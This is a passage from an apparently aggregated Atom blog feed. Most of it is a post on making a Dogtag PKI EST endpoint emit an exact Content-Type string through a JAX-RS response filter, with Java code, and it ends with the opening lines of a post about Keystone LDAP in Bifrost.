&lt;p&gt;The JAX-RS &lt;code&gt;@Produces&lt;/code&gt; annotation specifies the &lt;code&gt;Content-Type&lt;/code&gt;
header value for a particular resource:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb3&quot;&gt;&lt;pre class=&quot;sourceCode java&quot;&gt;&lt;code class=&quot;sourceCode java&quot;&gt;&lt;span id=&quot;cb3-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;@POST&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;@Path&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;simpleenroll&amp;quot;&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;@Consumes&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;application/pkcs10&amp;quot;&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;@Produces&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;application/pkcs7-mime; smime-type=certs-only&amp;quot;&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;Response&lt;/span&gt; &lt;span class=&quot;fu&quot;&gt;simpleenroll&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;[]&lt;/span&gt; data&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;kw&quot;&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that the string value is not used &lt;em&gt;verbatim&lt;/em&gt;. Instead, it is
parsed into a &lt;a href=&quot;https://docs.oracle.com/javaee/7/api/javax/ws/rs/core/MediaType.html&quot;&gt;&lt;code&gt;MediaType&lt;/code&gt;&lt;/a&gt; value and stored as such in
the response headers (a &lt;code&gt;MultivaluedMap&amp;lt;String, Object&amp;gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;When serialising the &lt;code&gt;Response&lt;/code&gt;, header values are stringified via
types that implement the
&lt;a href=&quot;https://docs.oracle.com/javaee/7/api/javax/ws/rs/ext/RuntimeDelegate.HeaderDelegate.html&quot;&gt;&lt;code&gt;RuntimeDelegate.HeaderDelegate&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/a&gt; interface,
where &lt;code&gt;T&lt;/code&gt; is the real type of the header value &lt;code&gt;Object&lt;/code&gt;. To
serialise a &lt;code&gt;MediaType&lt;/code&gt; header value, the JAX-RS machinery uses a
instance of a a class that implements
&lt;code&gt;RuntimeDelegate.HeaderDelegate&amp;lt;MediaType&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HeaderDelegate&lt;/code&gt; &lt;em&gt;implementations&lt;/em&gt; are not part of the JAX-RS API.
They are provided by the JAX-RS implementation. In Dogtag PKI,
that’s &lt;a href=&quot;https://resteasy.dev/&quot;&gt;RESTEasy&lt;/a&gt;. The class in question is:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb4&quot;&gt;&lt;pre class=&quot;sourceCode java&quot;&gt;&lt;code class=&quot;sourceCode java&quot;&gt;&lt;span id=&quot;cb4-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kw&quot;&gt;class&lt;/span&gt; MediaTypeHeaderDelegate&lt;/span&gt;
&lt;span id=&quot;cb4-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;kw&quot;&gt;implements&lt;/span&gt; RuntimeDelegate&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;HeaderDelegate&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;&amp;lt;&lt;/span&gt;MediaType&lt;span class=&quot;op&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;toString(MediaType type)&lt;/code&gt; method provided by this class prints
the value without a space character between the subtype and the
parameters. For the example resource above, it produces the string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;application/pkcs7-mime;smime-type=certs-only&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a legal production in the HTTP grammar, according to &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7230#section-3.2.3&quot;&gt;RFC
7230&lt;/a&gt; and &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7231#section-3.1.1.1&quot;&gt;RFC 7231&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;media-type = type &amp;quot;/&amp;quot; subtype *( OWS &amp;quot;;&amp;quot; OWS parameter )
OWS = *( SP / HTAB )&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, we already saw that at least one EST client is unable to
process this value, because it expects a space character before the
parameters:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;application/pkcs7-mime; smime-type=certs-only&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is also a legal production. But the client is using &lt;code&gt;strncmp&lt;/code&gt;
to look for this exact string, instead of properly parsing the
value. If we can’t fix the client behaviour, we have to find a
workaround on the server to produce the exact string the client
expects.&lt;/p&gt;
&lt;h2 id=&quot;idea-1-custom-headerdelegate&quot;&gt;Idea 1: custom &lt;code&gt;HeaderDelegate&lt;/code&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#idea-1-custom-headerdelegate&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My first idea was to override the &lt;code&gt;HeaderDelegate&amp;lt;MediaType&amp;gt;&lt;/code&gt; with
our own implementation. I couldn’t find a general way to do that
via the JAX-RS API. It does seem that you can do it using RESTEasy
classes directly:&lt;/p&gt;
&lt;ol type=&quot;1&quot;&gt;
&lt;li&gt;Implement the custom &lt;code&gt;HeaderDelegate&amp;lt;MediaType&amp;gt;&lt;/code&gt;. To avoid
unnecessary work you could extend RESTEasy’s
&lt;code&gt;MediaTypeHeaderDelegate&lt;/code&gt; and override just the
&lt;code&gt;toString(MediaType)&lt;/code&gt; method.&lt;/li&gt;
&lt;li&gt;Obtain &lt;code&gt;ResteasyProviderFactory.getInstance()&lt;/code&gt;. Invoke
&lt;code&gt;.addHeaderDelegate(MediaType.class, customInst)&lt;/code&gt; to replace the
&lt;code&gt;HeaderDelegate&amp;lt;MediaType&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This approach has several disadvantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Directly coupled to the RESTEasy implementation. May break if
RESTEasy implementation details change and will not work with
other JAX-RS implementations.&lt;/li&gt;
&lt;li&gt;Need to implement a custom &lt;code&gt;HeaderDelegate&amp;lt;MediaType&amp;gt;&lt;/code&gt; with the
“correct” serialisation behaviour.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The “correct” serialisation behaviour might break &lt;em&gt;other&lt;/em&gt; clients
with different bugs/quirks.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For these reasons I rejected the first idea and sought an approach
that avoids these disadvantages.&lt;/p&gt;
&lt;h2 id=&quot;idea-2-response-filter&quot;&gt;Idea 2: response filter &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#idea-2-response-filter&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My next idea was to use a &lt;em&gt;response filter&lt;/em&gt; to reformat the
&lt;code&gt;Content-Type&lt;/code&gt; response header. The Servlet API defines the
&lt;a href=&quot;https://docs.oracle.com/javaee/7/api/javax/ws/rs/container/ContainerResponseFilter.html&quot;&gt;&lt;code&gt;ContainerResponseFilter&lt;/code&gt;&lt;/a&gt; interface:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb8&quot;&gt;&lt;pre class=&quot;sourceCode java&quot;&gt;&lt;code class=&quot;sourceCode java&quot;&gt;&lt;span id=&quot;cb8-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb8-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kw&quot;&gt;interface&lt;/span&gt; ContainerResponseFilter &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb8-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb8-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;dt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;fu&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb8-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb8-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;      ContainerRequestContext requestContext&lt;span class=&quot;op&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb8-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb8-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;      ContainerResponseContext responseContext&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb8-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb8-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;kw&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;IOException&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb8-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb8-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;op&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The application applies each registered filter to each response,
before serialising and sending the response. At the time response
filters are applied, the &lt;code&gt;Content-Type&lt;/code&gt; header value is a
&lt;code&gt;MediaType&lt;/code&gt;. It has not yet been converted to a &lt;code&gt;String&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A response filter can add, remove, or replace response headers.
Recall that headers are stored in a &lt;code&gt;MultivaluedMap&amp;lt;String, Object&amp;gt;&lt;/code&gt;. This means that we can replace a &lt;code&gt;MediaType&lt;/code&gt; value (whose
serialisation is determined by the &lt;code&gt;HeaderDelegate&lt;/code&gt;) with a &lt;code&gt;String&lt;/code&gt;
value (which will be written &lt;em&gt;as is&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;.equals&lt;/code&gt; equality test for &lt;code&gt;MediaType&lt;/code&gt; properly compares the
properties of the instance without regard to string representation.
As it should. This enables a succinct implementation where we:&lt;/p&gt;
&lt;ol type=&quot;1&quot;&gt;
&lt;li&gt;Decalre &lt;em&gt;verbatim&lt;/em&gt; &lt;code&gt;String&lt;/code&gt; header values we want to see in the
response.&lt;/li&gt;
&lt;li&gt;Parse those strings into &lt;code&gt;MediaType&lt;/code&gt; values.&lt;/li&gt;
&lt;li&gt;Match the &lt;code&gt;Content-Type&lt;/code&gt; value in the response against parsed
values.&lt;/li&gt;
&lt;li&gt;Replace matched header values with the corresponding &lt;em&gt;verbatim&lt;/em&gt;
&lt;code&gt;String&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The implementation is straightforward:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb9&quot;&gt;&lt;pre class=&quot;sourceCode java&quot;&gt;&lt;code class=&quot;sourceCode java&quot;&gt;&lt;span id=&quot;cb9-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;@Provider&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kw&quot;&gt;class&lt;/span&gt; ReformatContentTypeResponseFilter&lt;/span&gt;
&lt;span id=&quot;cb9-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;kw&quot;&gt;implements&lt;/span&gt; ContainerResponseFilter &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;kw&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;dt&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;[]&lt;/span&gt; verbatim &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;st&quot;&gt;&amp;quot;application/pkcs7-mime; smime-type=certs-only&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;op&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;kw&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;dt&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;HashMap&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;&amp;lt;&lt;/span&gt;MediaType&lt;span class=&quot;op&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;&amp;gt;&lt;/span&gt; substitutions &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;kw&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;HashMap&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;&amp;lt;&amp;gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;dt&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;cf&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bu&quot;&gt;String&lt;/span&gt; s &lt;span class=&quot;op&quot;&gt;:&lt;/span&gt; verbatim&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;      substitutions&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;MediaType&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;valueOf&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;op&quot;&gt;),&lt;/span&gt; s&lt;span class=&quot;op&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;op&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;at&quot;&gt;@Override&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;kw&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;dt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;fu&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-19&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-19&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;      ContainerRequestContext requestContext&lt;span class=&quot;op&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-20&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-20&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;      ContainerResponseContext responseContext&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-21&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-21&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    MultivaluedMap&lt;span class=&quot;op&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;bu&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;&amp;gt;&lt;/span&gt; headers &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-22&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-22&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;      responseContext&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;getHeaders&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-23&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-23&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;bu&quot;&gt;Object&lt;/span&gt; v &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; headers&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;getFirst&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;HttpHeaders&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;CONTENT_TYPE&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-24&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-24&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;cf&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;v &lt;span class=&quot;op&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kw&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; v &lt;span class=&quot;kw&quot;&gt;instanceof&lt;/span&gt; MediaType&lt;/span&gt;
&lt;span id=&quot;cb9-25&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-25&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;        &lt;span class=&quot;op&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; substitutions&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;containsKey&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;op&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-26&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-26&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;      headers&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;putSingle&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-27&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-27&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;        HttpHeaders&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;CONTENT_TYPE&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;,&lt;/span&gt; substitutions&lt;span class=&quot;op&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;op&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-28&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-28&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;op&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-29&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-29&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;op&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-30&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-30&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb9-31&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb9-31&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;op&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There is currently only one header value whose formatting I need to
precisely control. If we discover more, we only need to add the
desired string serialisation to the &lt;code&gt;verbatim&lt;/code&gt; array.&lt;/p&gt;
&lt;p&gt;We must consider the possible scenario of different clients with
different quirks. In that case, we could maintain separate
substitutions maps for each known problematic client. We would use
the &lt;code&gt;User-Agent&lt;/code&gt; header, or other request characteristics, to
identify the client and select the corresponding substitution map
(if any). Hopefully this situation does not arise. But if it does,
the increase in complexity of the solution is tolerable.&lt;/p&gt;
&lt;p&gt;This solution works well and avoids the disadvantages of my first
idea:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Only uses official Servlet and JAX-RS classes and interfaces.
This solution will work across all JAX-RS implementations.&lt;/li&gt;
&lt;li&gt;Does not (re)implement &lt;code&gt;MediaType&lt;/code&gt; serialsation. You just declare
the exact string values you want to see in responses.&lt;/li&gt;
&lt;li&gt;With a moderate increase in complexity, can handle different
clients with incompatible quriks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#conclusion&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It’s unfortunate that this workaround was even necessary. But given
that it was, I’m happy with the solution. It is simple and portable
across Servlet and JAX-RS implementations.&lt;/p&gt;
&lt;p&gt;The same approach could be used for controlling formatting of any
header value types, not just &lt;code&gt;Content-Type&lt;/code&gt; / &lt;code&gt;MediaType&lt;/code&gt;. I hope
that sharing this solution will help people who encounter similar
problems. At the very least, I hope that because of this post you
learned something about Servlet and JAX-RS response header
processing.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-US">
		<title type="html">Keystone LDAP with Bifrost</title>
		<link href="http://adam.younglogic.com/2022/05/keystone-ldap-with-bifrost/"/>
		<id>http://adam.younglogic.com/?p=10285</id>
		<updated>2022-05-04T19:39:03+00:00</updated>
		<content type="html">&lt;p&gt;I got keystone in my Bifrost install to talk via LDAP to our Freeipa server.  Here&amp;#8217;s what I had to do.&lt;/p&gt;



&lt;span id=&quot;more-10285&quot;&gt;&lt;/span&gt;



&lt;p&gt; I started with a new install of bifrost, using Keystone and TLS.&lt;/p&gt;



&lt;pre lang=&quot;bash&quot;&gt;
